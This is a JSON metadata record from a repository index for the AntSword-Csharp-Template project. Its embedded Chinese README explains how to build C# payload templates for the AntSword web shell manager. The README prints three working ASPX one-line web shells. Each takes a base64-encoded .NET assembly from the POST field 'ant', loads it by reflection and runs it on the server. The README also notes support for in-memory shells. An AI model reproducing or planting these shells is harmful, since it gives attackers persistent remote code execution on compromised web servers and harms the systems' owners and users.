{"id":19281235,"url":"https://github.com/antswordproject/antsword-csharp-template","last_synced_at":"2025-04-22T01:30:55.912Z","repository":{"id":47790429,"uuid":"428683459","full_name":"AntSwordProject/AntSword-Csharp-Template","owner":"AntSwordProject","description":null,"archived":false,"fork":false,"pushed_at":"2023-03-04T05:52:13.000Z","size":91,"stargazers_count":19,"open_issues_count":0,"forks_count":3,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-04-01T17:53:24.719Z","etag":null,"topics":["antsword"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AntSwordProject.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-11-16T14:16:05.000Z","updated_at":"2024-12-07T12:03:41.000Z","dependencies_parsed_at":"2024-11-09T21:23:38.376Z","dependency_job_id":"ce0d443a-7a1b-452b-8e0c-add40e68aedc","html_url":"https://github.com/AntSwordProject/AntSword-Csharp-Template","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntSwordProject%2FAntSword-Csharp-Template","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntSwordProject%2FAntSword-Csharp-Template/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntSwordProject%2FAntSword-Csharp-Template/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AntSwordProject%2FAntSword-Csharp-Template/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AntSwordProject","download_url":"https://codeload.github.com/AntSwordProject/AntSword-Csharp-Template/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":250161939,"owners_count":21385012,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["antsword"],"created_at":"2024-11-09T21:22:05.100Z","updated_at":"2025-04-22T01:30:55.888Z","avatar_url":"https://github.com/AntSwordProject.png","language":"C#","funding_links":[],"categories":[],"sub_categories":[],"readme":"# AntSword-Csharp-Template v1.2\n\n中国蚁剑Csharp一句话Payload\n\n编译环境：.net 2.0\n\n适用范围：.net 2.0 及以上\n\n类型介绍：http://yzddmr6.com/posts/%E8%81%8A%E8%81%8A%E6%96%B0%E7%B1%BB%E5%9E%8BASPXCSharp/\n\n## 编译\n\n在build.py中替换你的csc路径后运行，即可在`./dist`目录下自动生成代码模板。\n\n```\npython3 build.py\n```\n\n编译完成后将`./dist/`目录下所有文件拷贝至`antSword-master/source/core/aspxcsharp/template/`下即可\n\n## Shell\n\n### shell.aspx\n\n为了兼容各种情况下的内存马，Equals中的入口参数可以为System.Web.HttpContext对象，或者包含Request与Response对象的数组。\n\n即\n\n```\n\u003c%@ Page Language=\"c#\"%\u003e\n\u003c%\n    String Payload = Request.Form[\"ant\"];\n    if (Payload != null)\n    {\n        System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));\n        assembly.CreateInstance(assembly.GetName().Name + \".Run\").Equals(Context);\n    }\n%\u003e\n```\n\n或者\n\n```\n\u003c%@ Page Language=\"c#\"%\u003e\n\u003c%\n    String Payload = Request.Form[\"ant\"];\n    if (Payload != null)\n    {\n        System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));\n        assembly.CreateInstance(assembly.GetName().Name + \".Run\").Equals(new object[] { Request, Response });\n    }\n%\u003e\n```\n\n如果数组方式跟Context都无法获取的话，Payload会尝试通过HttpContext.Current来拿到当前的Context。所以其实在shell中直接Equals(null)，或者一个随意对象即可。\n\n```\n\u003c%@ Page Language=\"c#\"%\u003e\n\u003c%\n    String Payload = Request.Form[\"ant\"];\n    if (Payload != null)\n    {\n        System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));\n        assembly.CreateInstance(assembly.GetName().Name + \".Run\").Equals(null);\n    }\n%\u003e\n```\n\n## 更新日志\n\n### v 1.2\n\n1. Payload采用命名空间格式\n2. 更新入口参数方式，去掉兼容性不强的Page方式\n3. 修复mssql列名获取错误的问题\n4. 修改基本信息中获取根路径的方式，兼容HttpListener内存马\n\n### v 1.1\n\n1. 兼容内存马\n2. Payload类名不再固定，采用动态获取方式\n\n### v 1.0\n\n1. release","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fantswordproject%2Fantsword-csharp-template","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fantswordproject%2Fantsword-csharp-template","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fantswordproject%2Fantsword-csharp-template/lists"}